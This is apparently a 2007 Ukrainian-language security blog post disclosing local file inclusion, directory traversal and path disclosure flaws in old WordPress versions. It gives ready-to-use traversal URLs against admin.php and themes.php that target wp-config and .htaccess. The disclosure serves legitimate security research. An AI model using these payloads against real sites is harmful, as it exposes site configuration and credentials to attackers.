Local file include, Directory traversal та Full path disclosure в WordPress
23:50 28.12.2007В червні, 09.06.2007 (в admin.php) і 15.06.2007 (в themes.php), я знайшов Local file include, Directory traversal та Full path disclosure уразливості в WordPress. Дірки в файлах admin.php (параметр import) та themes.php (параметр page).
Full path disclosure:
http://site/wp-admin/admin.php?import=\..\..\wp-config
http://site/wp-admin/themes.php?page=
Дані скрипти вразливі до атаки з використанням зворотнього слеша (що працює лише на Windows), про котру я писав раніше.
Local file include та Directory traversal:
http://site/wp-admin/admin.php?import=\..\..\file
http://site/wp-admin/themes.php?page=\..\..\file.php
http://site/wp-admin/themes.php?page=\..\..\.htaccess
В файлі admin.php через параметр import можна лише підключити файли з php розширенням.
Вразливі версії WordPress <= 2.0.11 та потенційно наступні версії (2.1.x, 2.2.x та 2.3.x).